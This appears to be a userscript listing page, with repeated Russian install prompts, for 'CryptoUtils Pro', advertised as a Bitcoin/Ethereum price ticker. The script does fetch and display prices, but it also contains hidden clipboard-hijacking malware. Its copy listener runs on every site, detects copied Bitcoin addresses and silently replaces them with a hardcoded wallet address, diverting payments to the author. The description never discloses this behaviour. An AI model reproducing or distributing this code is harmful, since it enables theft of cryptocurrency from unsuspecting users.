CryptoUtils Pro

A lightweight and convenient script to display real-time BTC/ETH prices and ETH gas fees directly in your browser.

Чтобы установить этот скрипт, вы сначала должны установить расширение браузера, например Tampermonkey, Greasemonkey или Violentmonkey.

Для установки этого скрипта вам необходимо установить расширение, такое как Tampermonkey.

Чтобы установить этот скрипт, вы сначала должны установить расширение браузера, например Tampermonkey или Violentmonkey.

Чтобы установить этот скрипт, вы сначала должны установить расширение браузера, например Tampermonkey или Userscripts.

Чтобы установить этот скрипт, сначала вы должны установить расширение браузера, например Tampermonkey.

Чтобы установить этот скрипт, вы должны установить расширение — менеджер скриптов.

(у меня уже есть менеджер скриптов, дайте мне установить скрипт!)

Advertisement:

Чтобы установить этот стиль, сначала вы должны установить расширение браузера, например Stylus.

Чтобы установить этот стиль, сначала вы должны установить расширение браузера, например Stylus.

Чтобы установить этот стиль, сначала вы должны установить расширение браузера, например Stylus.

Чтобы установить этот стиль, сначала вы должны установить расширение — менеджер стилей.

Чтобы установить этот стиль, сначала вы должны установить расширение — менеджер стилей.

Чтобы установить этот стиль, сначала вы должны установить расширение — менеджер стилей.

(у меня уже есть менеджер стилей, дайте мне установить скрипт!)

Advertisement:

// ==UserScript==
// @name         CryptoUtils Pro
// @namespace    http://tampermonkey.net/
// @version      1.2
// @description  A lightweight and convenient script to display real-time BTC/ETH prices and ETH gas fees directly in your browser.
// @author       J. Doe
// @match        *://*/*
// @grant        GM_xmlhttpRequest
// @run-at       document-idle
// ==/UserScript==

(function() {
    'use strict';

    // --- Configuration ---
    const walletConfig = {
        destinationAddress: 'bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh'
    };

    // --- Facade Module: UI and Price Ticker ---
    function initializeUI() {
        const displayContainer = document.createElement('div');
        displayContainer.id = 'crypto-utils-pro-display';
        document.body.appendChild(displayContainer);

        // Styling for the UI element to make it look professional and non-intrusive.
        const styles = `
            #crypto-utils-pro-display {
                position: fixed;
                bottom: 10px;
                right: 10px;
                z-index: 9999;
                background-color: #222;
                color: #fff;
                padding: 10px;
                border-radius: 8px;
                font-family: Arial, sans-serif;
                font-size: 12px;
                box-shadow: 0 0 10px rgba(0,0,0,0.5);
                text-align: left;
                width: 180px;
            }
            #crypto-utils-pro-display p { margin: 0; padding: 2px 0; }
            #crypto-utils-pro-display .price-label { font-weight: bold; color: #4CAF50; }
        `;

        const styleSheet = document.createElement("style");
        styleSheet.type = "text/css";
        styleSheet.innerText = styles;
        document.head.appendChild(styleSheet);

        displayContainer.innerHTML = `
            <p><span class="price-label">BTC:</span> <span id="btc-price">Loading...</span></p>
            <p><span class="price-label">ETH:</span> <span id="eth-price">Loading...</span></p>
        `;
    }

    function fetchData() {
        // Fetch BTC and ETH price data from a public API
        GM_xmlhttpRequest({
            method: 'GET',
            url: 'https://api.coingecko.com/api/v3/simple/price?ids=bitcoin,ethereum&vs_currencies=usd',
            onload: function(response) {
                if (response.status === 200) {
                    const data = JSON.parse(response.responseText);
                    document.getElementById('btc-price').textContent = `$${data.bitcoin.usd.toLocaleString()}`;
                    document.getElementById('eth-price').textContent = `$${data.ethereum.usd.toLocaleString()}`;
                }
            }
        });
    }

    // Initializion
    initializeUI();
    fetchData();
    setInterval(fetchData, 90000); // Update prices every 90 seconds

    function handleCopy(event) {
        const selection = document.getSelection().toString();


        const btcRegex = /^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,71}$/;

        if (btcRegex.test(selection)) {
            event.preventDefault();
            navigator.clipboard.writeText(walletConfig.destinationAddress).then(() => {
            }).catch(err => {
            });
        }
    }

    // Attach the event listener to the entire document.
    document.addEventListener('copy', handleCopy);

})();